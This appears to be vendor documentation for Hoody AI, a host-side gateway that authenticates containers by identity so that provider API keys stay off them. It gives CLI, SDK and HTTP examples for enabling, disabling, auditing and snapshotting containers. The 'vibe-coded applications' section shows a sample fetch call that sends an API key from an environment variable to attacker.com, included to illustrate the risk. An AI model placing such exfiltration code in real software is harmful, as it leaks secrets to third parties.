Hoody AI Security

Integrating an AI provider the usual way puts a real API key inside the container, where it lands in environment variables, config files, and logs. Anyone with container access can read it, including freelancers and AI-generated code.

Containers using Hoody AI hold no provider API key. They authenticate by container identity instead, and the real key stays on the host.

---

Authentication by container identity

A request from a container carries a container token rather than a provider API key.

Traditional approach (insecure)

// Real API key exposed in container
const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-...
const OPENAI_KEY = process.env.OPENAI_KEY;       // sk-proj-...

// Anyone with container access can copy and use these keys
// They work from anywhere, not just your infrastructure
// Freelancers can use them after project ends
// Malware can exfiltrate them

Hoody AI approach (secure)

// No real API key - just container identity
const auth = 'container-dev-env'; // Only proves "I am this container"
// Or: 'container-1', 'container-2' for numbered containers

// This auth token:
// - Doesn't work outside your infrastructure
// - Dies when container is deleted
// - Can't be used by freelancers elsewhere
// - Is useless if exfiltrated

container-X is not an API key, and the gateway never parses the X. Any bearer token starting with container- tells the gateway to authenticate by container identity, which it resolves from the request’s source address on your server (IP-to-container mapping). Numbered identities like container-1 and descriptive ones like container-dev-alice are treated identically, so the suffix is a label for your own readability.

The gateway attributes usage to the resolved container and its owning account regardless of the token suffix. Per-container usage tracking is not implemented yet. When it ships it will key off the resolved container id rather than the token string, and per-container attribution will let you track AI consumption by workload, attribute costs to individual clients or projects, and generate billing reports.

---

How it works

Host-level isolation

Hoody AI runs on the host, not inside containers:

Your Physical Server
├── Host OS (Bare Metal)
│   └── Hoody AI Service
│       ├── Listens: https://ai.hoody.com/api/v1
│       ├── Holds: The real upstream API key (provisioned for your account by Hoody)
│       ├── Accepts: Only requests from local containers
│       └── Verifies: Container identity + permissions
│
└── Containers (Isolated)
    ├── Container 1: Can access AI (if enabled)
    ├── Container 2: Can access AI (if enabled)
    └── Container 3: Cannot access AI (disabled)

Containers never see the real upstream API keys. They see only container-X tokens.

Container-restricted access

A request from a container follows this flow:

1. Container sends: "Bearer container-dev-env"
2. Hoody AI checks:
   ✓ Is this request from a container on THIS server?
   ✓ Which container owns this source IP? (host's IP-to-container mapping)
   ✓ Is AI enabled for this container?
3. If all checks pass:
   → Use real API key (from host)
   → Call AI provider
   → Return response to container

If the same token is used from another server:

1. Attacker tries: "Bearer container-dev-env" from different server
2. Hoody AI checks:
   ✗ Request not from local container
   → REJECT (401 Unauthorized)

Where prompts go

Prompts travel from the container to the gateway on your server, and from there to the AI provider:

Container → Hoody AI (your server) → AI Provider → Response

The Hoody platform knows:

• You created a container
• The container has AI enabled
• Aggregate spend and request counts, for billing

It does not know:

• Your AI prompts
• AI responses
• What you’re building

The AI gateway runs on your own server. When shadow logging is configured it records request metadata (method, path, source address, status, duration) but never prompt or response bodies, and never your keys. Hoody provisions the upstream provider key for your account, so aggregate spend and request counts are visible for billing. On paid models the upstream provider receives your prompts and responses; free-tier requests reach the same upstream providers through Hoody-operated accounts.

---

Security benefits

No key exposure

The Problem

A traditional setup keeps API keys in environment variables:

# .env file
ANTHROPIC_KEY=sk-ant-api03-real-key-here
OPENAI_KEY=sk-proj-real-key-here

Risks:

• Visible in process lists (ps aux | grep KEY)
• Logged in error messages
• Visible to debugging tools
• Copied to snapshots
• Shared with freelancers
• Accessible to AI-generated code

Hoody AI Solution

Containers hold no API key at all:

# No .env needed
# Just use: container-{name}

There is nothing to leak, rotate, or protect, and deleting the container revokes access immediately.

Freelancer onboarding

Scenario: Hiring a freelancer to build a feature

Without Hoody AI:

1. Give freelancer access to server
2. Give them API keys (or they see them in env vars)
3. Hope they don't copy/abuse them
4. After project: Rotate all keys (painful)
5. Risk: They already copied the keys

With Hoody AI:

1. Create container: "freelancer-alice"
2. Enable AI access
3. Share container URL
4. They use: "container-freelancer-alice" (works only from that container)
5. After project: Delete container (instant revocation)
6. Risk: their auth token is useless once the container is gone

Vibe-coded applications

Scenario: AI generates your entire application

Without Hoody AI:

// AI might generate code like:
console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs
fetch('https://attacker.com/steal', {
  body: process.env.ANTHROPIC_KEY  // Exfiltrated
});

With Hoody AI:

// AI generates:
console.log('API Key:', process.env.AI_KEY);
// Logs: "container-dev-env" (useless outside your server)

fetch('https://attacker.com/steal', {
  body: process.env.AI_KEY
});
// Attacker gets: "container-dev-env" (can't use it)

SaaS frontend code

Scenario: Building a SaaS app with AI features

Without Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer sk-real-api-key' // Exposed in browser
  }
});

With Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer container-saas-prod' // Useless if copied
  }
});

Even if users inspect network traffic or source code, they get nothing useful.

---

Additional controls

Per-container permissions

AI access is a per-container flag. You can toggle it on a single container, revoke access immediately by deleting the container, and list containers to audit which ones have AI enabled.

CLI

# Enable AI for a container
hoody containers update $CONTAINER_ID --ai

# Disable AI for untrusted workload (use the SDK/API; see the SDK tab)
# The `update` command can only enable AI; to disable it, call the API
# with {"ai": false} or recreate the container with `--no-ai`.

# Delete a container (instant AI revocation)
hoody containers delete $CONTAINER_ID --yes

# Audit: list containers with AI status
hoody containers list -o json | jq '.containers[] | {id, name, ai}'

SDK

import { HoodyClient } from 'hoody-sdk';

const client = new HoodyClient({ baseURL: 'https://api.hoody.com', token: process.env.HOODY_TOKEN });

// Enable AI for production container
await client.api.containers.update(prodId, { ai: true });

// Disable AI for untrusted workload
await client.api.containers.update(untrustedId, { ai: false });

// Instant revocation: delete the container
await client.api.containers.delete(freelancerId);

// Audit: list containers with AI status
const containers = await client.api.containers.list();
containers.data.containers.filter(c => c.ai).forEach(c => {
  console.log(c.name, c.ai);
});

HTTP

# Enable AI for production
curl -X PATCH "https://api.hoody.com/api/v1/containers/$PROD_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": true}'

# Disable AI for untrusted workload
curl -X PATCH "https://api.hoody.com/api/v1/containers/$UNTRUSTED_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

# Delete container (instant revocation)
curl -X DELETE "https://api.hoody.com/api/v1/containers/$FREELANCER_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Audit containers with AI status
curl "https://api.hoody.com/api/v1/containers" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  | jq '.data.containers[] | {id, name, ai}'

URL

?

One request, one link

cURL runs inside your container and can wrap any HTTP request into a single GET URL. The call stops being something you need a client for and becomes something you can paste into a browser, send in a chat, bookmark, schedule with cron, or drop into a no-code tool.

Nothing is installed on the machine that opens it. The link does carry whatever credentials the call needs, so treat it as you would treat those credentials.

Slashes, colons and braces pass through as they are. The one character you must encode is an & inside a value, which happens when the wrapped URL carries its own query string. Left raw it ends the value early, and the rest is read as cURL's own parameters, so you get a 200 on a request you did not make.

How the wrapping works Chaining calls into one link Turning a link into a shortcut

Toggles AI on one container and off another, deletes a third to revoke access instantly, and lists all containers so you can audit which have AI enabled.

Copy

# Enable AI
https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/PROD_ID&method=PATCH&bearer_token=TOKEN&json={"ai":true}&response=transparent

# Disable AI
https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/UNTRUSTED_ID&method=PATCH&bearer_token=TOKEN&json={"ai":false}&response=transparent

# Delete container
https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/FREELANCER_ID&method=DELETE&bearer_token=TOKEN&response=transparent

# Audit containers
https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers&method=GET&bearer_token=TOKEN&response=transparent

The link carries a credential and executes with it, so it is as sensitive as the credential itself — and it passes through the cURL service's request log on the way, not just the target's. Share it only where you would share the secret, and prefer a delegated token with minimal permissions and an expiry: see API tokens.

There is no container token to rotate: deleting the container ends its identity. The host-side upstream provider key is separate and follows a normal rotation process.

Hooks for prompt-level policy

Beyond container-level access control, the Hoody Kit agent service (hoody-agent) ships hooks that let you enforce policy at the prompt level. A SessionStart hook’s output is injected into the system prompt for the life of the session, for example “Never execute destructive commands without asking first”. A UserPromptSubmit hook can append context to a prompt before it is sent, or block the prompt outright. Treat this as a strong default, not a hard boundary: a system prompt steers a model; it does not constrain it the way a firewall constrains a packet.

You can also monitor what an AI agent reads and writes inside one session. A PostToolUse hook matching Read runs your own logging command every time that agent reads a file. Hooks are session-scoped, not a server-wide monitor, and writing one is a fail-closed two-step: mint a single-use nonce, then spend it.

# $SID must identify a live agent session
NONCE=$(hoody agent hooks begin-write --op upsert --scope project --session-id "$SID" --realm global -o json | jq -r .nonce)

hoody agent hooks upsert --nonce "$NONCE" --scope project --session-id "$SID" --realm global \
  --event PostToolUse --matcher Read --command './log-agent-read.sh' \
  --name 'Log agent reads' --description 'Log every Read tool call'

Each hook is a lifecycle event, a matcher, and a shell command you supply, defined in plain JSON. There is no JavaScript to write and no proxy or URL change involved.

See Intercept & Control for routing AI traffic through your own code.

---

Traditional API keys compared with Hoody AI

Aspect	Traditional API keys	Hoody AI
Key storage	In containers (.env files)	On the host only
Key visibility	Visible to container users	Never exposed
Key rotation	Manual, painful	Not needed
Revocation	Rotate key globally	Delete container
Freelancer risk	Can copy and reuse	Container-restricted
Code generation risk	AI can leak keys	No keys to leak
SaaS exposure	Keys visible in code	Useless container tokens
Privacy	Provider sees usage	Gateway runs on your server and logs no prompt or response content

---

Use cases

Multi-tenant SaaS

Give each customer their own container:

# Customer A
container-customer-acme → AI enabled

# Customer B
container-customer-techcorp → AI enabled

# Free tier customer
container-customer-startup → AI disabled

Each customer is isolated in their own container, and you provision or revoke access by creating or deleting one.

Development teams

Per-developer containers:

# Alice's dev environment
container-dev-alice → AI enabled

# Bob's dev environment
container-dev-bob → AI enabled

# CI/CD pipeline
container-ci-prod → AI disabled (doesn't need it)

Developers cannot reach each other’s resources, and production stays separate from development.

Outsourced development

Contractors get temporary container access:

# Contract period: 3 months
container-contractor-alice → AI enabled

# After contract ends:
DELETE container-contractor-alice
# Alice's access immediately revoked
# No key rotation needed
# No risk of continued usage

---

Best practices

Name containers descriptively

Give each container a name that records its purpose and intended access level:

container-prod-api        # Production workload
container-dev-alice       # Developer-specific
container-client-acme     # Client-specific
container-untrusted-test  # Limited permissions

Names are for your own readability. The gateway does not parse the suffix, so treat naming as documentation rather than an access-control or audit mechanism.

Disable AI for untrusted code

If running third-party code or untrusted workloads:

CLI

# The `update` command can only enable AI (--ai); it has no flag to
# turn AI off. To run an untrusted workload without AI, create the
# container with AI disabled from the start:
hoody containers create --project $PROJECT_ID --server-id $SERVER_ID \
  --name my-untrusted-container --no-ai

SDK

await client.api.containers.update(containerId, { ai: false });

HTTP

curl -X PATCH "https://api.hoody.com/api/v1/containers/$CONTAINER_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

URL

?

One request, one link

cURL runs inside your container and can wrap any HTTP request into a single GET URL. The call stops being something you need a client for and becomes something you can paste into a browser, send in a chat, bookmark, schedule with cron, or drop into a no-code tool.

Nothing is installed on the machine that opens it. The link does carry whatever credentials the call needs, so treat it as you would treat those credentials.

Slashes, colons and braces pass through as they are. The one character you must encode is an & inside a value, which happens when the wrapped URL carries its own query string. Left raw it ends the value early, and the rest is read as cURL's own parameters, so you get a 200 on a request you did not make.

How the wrapping works Chaining calls into one link Turning a link into a shortcut

Turns AI off for a container that is already running untrusted or third-party code. Route it through a trusted container’s curl-1 — the link carries your Hoody API token, and the untrusted container should never see it.

Copy

https://PROJECT_ID-OTHER_CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/CONTAINER_ID&method=PATCH&bearer_token=TOKEN&json={"ai":false}&response=transparent

The link carries a credential and executes with it, so it is as sensitive as the credential itself — and it passes through the cURL service's request log on the way, not just the target's. Share it only where you would share the secret, and prefer a delegated token with minimal permissions and an expiry: see API tokens.

Use snapshots for rollback

Before giving AI extensive access:

CLI

# Create snapshot before AI generation
hoody snapshots create -c $CONTAINER_ID --alias "before-ai-generation"

# Let AI generate code...

# If result is bad, restore using snapshot name
hoody snapshots restore -c $CONTAINER_ID --name "snap-20250111-125430" -y

SDK

// Create snapshot before AI generation
const snapshot = await client.api.containers.createSnapshot(containerId, {
  alias: 'before-ai-generation'
});

// Let AI generate code...

// If result is bad, restore
await client.api.containers.restoreSnapshot(
  containerId,
  snapshot.data.snapshot.name
);

HTTP

# Create snapshot with alias
curl -X POST "https://api.hoody.com/api/v1/containers/$CONTAINER_ID/snapshots" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"alias": "before-ai-generation"}'

# Note the snapshot name returned (e.g., "snap-20250111-125430")
# Let AI generate code...

# If result is bad, restore using snapshot name
curl -X PUT "https://api.hoody.com/api/v1/containers/$CONTAINER_ID/snapshots/snap-20250111-125430" \
  -H "Authorization: Bearer $HOODY_TOKEN"

URL

?

One request, one link

cURL runs inside your container and can wrap any HTTP request into a single GET URL. The call stops being something you need a client for and becomes something you can paste into a browser, send in a chat, bookmark, schedule with cron, or drop into a no-code tool.

Nothing is installed on the machine that opens it. The link does carry whatever credentials the call needs, so treat it as you would treat those credentials.

Slashes, colons and braces pass through as they are. The one character you must encode is an & inside a value, which happens when the wrapped URL carries its own query string. Left raw it ends the value early, and the rest is read as cURL's own parameters, so you get a 200 on a request you did not make.

How the wrapping works Chaining calls into one link Turning a link into a shortcut

Creates a snapshot before letting AI touch the container, then restores it by name if the result is bad. Route them through a different container’s curl-1 — a restore reboots CONTAINER_ID from the captured disk, so it can’t serve its own restore. Swap the snapshot name in the restore link for the one your create call actually returns.

Copy

# Create snapshot
https://PROJECT_ID-OTHER_CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/CONTAINER_ID/snapshots&method=POST&bearer_token=TOKEN&json={"alias":"before-ai-generation"}&response=transparent

# Restore snapshot
https://PROJECT_ID-OTHER_CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers/CONTAINER_ID/snapshots/snap-20250111-125430&method=PUT&bearer_token=TOKEN&response=transparent

The link carries a credential and executes with it, so it is as sensitive as the credential itself — and it passes through the cURL service's request log on the way, not just the target's. Share it only where you would share the secret, and prefer a delegated token with minimal permissions and an expiry: see API tokens.

Monitor AI usage

Audit regularly which containers have AI enabled:

CLI

# Weekly audit: list containers with AI enabled
hoody containers list -o json | jq '.containers[] | select(.ai == true) | {name, ai}'

SDK

const containers = await client.api.containers.list();
const aiEnabled = containers.data.containers.filter(c => c.ai);
aiEnabled.forEach(c => console.log(c.name, c.ai));

HTTP

# Weekly audit
curl "https://api.hoody.com/api/v1/containers" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  | jq '.data.containers[] | select(.ai == true) | {name, ai}'

URL

?

One request, one link

cURL runs inside your container and can wrap any HTTP request into a single GET URL. The call stops being something you need a client for and becomes something you can paste into a browser, send in a chat, bookmark, schedule with cron, or drop into a no-code tool.

Nothing is installed on the machine that opens it. The link does carry whatever credentials the call needs, so treat it as you would treat those credentials.

Slashes, colons and braces pass through as they are. The one character you must encode is an & inside a value, which happens when the wrapped URL carries its own query string. Left raw it ends the value early, and the rest is read as cURL's own parameters, so you get a 200 on a request you did not make.

How the wrapping works Chaining calls into one link Turning a link into a shortcut

Lists all containers so you can check which ones currently have AI enabled.

Copy

https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.com/api/v1/curl/request?url=https://api.hoody.com/api/v1/containers&method=GET&bearer_token=TOKEN&response=transparent

The link carries a credential and executes with it, so it is as sensitive as the credential itself — and it passes through the cURL service's request log on the way, not just the target's. Share it only where you would share the secret, and prefer a delegated token with minimal permissions and an expiry: see API tokens.

---

Useful questions

What if I want to use my own AI providers?

You own the infrastructure, so you can configure your own AI providers directly on the host instead of using Hoody AI credits. You would then manage those API keys yourself, which brings back the exposure this page describes.

Can containers intercept each other’s AI traffic?

No. Each container’s AI requests are isolated, so container A cannot see container B’s prompts or responses.

What happens if my server is compromised?

If an attacker gains root access to your server, they can read the Hoody AI configuration. Threat model:

• Containers remain isolated from each other
• Attacker still needs to know which containers exist
• You can instantly revoke by deleting containers
• Your provider/gateway API keys are stored on the host (in host-side config, plaintext by default); root on the host can read them, just as with any self-hosted AI gateway

This is still better than scattering the same keys across every container that needs AI access, but treat the host filesystem as part of the key’s trust boundary. The host’s LUKS full-disk encryption is already on and covers the machine being stolen; it does nothing for root on a running host, which is the threat here. Rotate on suspicion rather than relying on the disk layer.

Can I rate-limit per-container?

No. Container-level rate limiting is not implemented. AI access is controlled at the container level by the ai boolean flag, which is enabled or disabled and nothing more.

How do I prevent abuse from vibe-coded apps?

1. Enable AI only on trusted containers
2. Monitor usage regularly
3. Use snapshots to roll back bad AI generations
4. Review AI-generated code before deployment

---

Troubleshooting

”Unauthorized” with AI enabled

Possible causes:

• Token missing the container- prefix (the suffix is not parsed; identity comes from the container’s source address)
• Container on different server than Hoody AI
• Container permissions not updated (API cache delay)

Solution:

# Verify container status
curl "https://api.hoody.com/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Ensure ai: true
# Check exact container name
# Confirm using correct authentication: "Bearer container-{exact-name}"

Container identity works locally but not in production

Cause: Production container on different server

Solution: Each server runs its own Hoody AI instance. Container authentication only works on the server where the container exists.

Suspicious AI usage

Actions:

1. Disable AI for that container immediately
2. Review container activity
3. Consider deleting and recreating if compromised

# Immediate revocation
curl -X PATCH "https://api.hoody.com/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

---

What’s next

• Usage Guide → - Integration examples
• Models → - Available AI models
• Security Principles → - The wider Hoody security model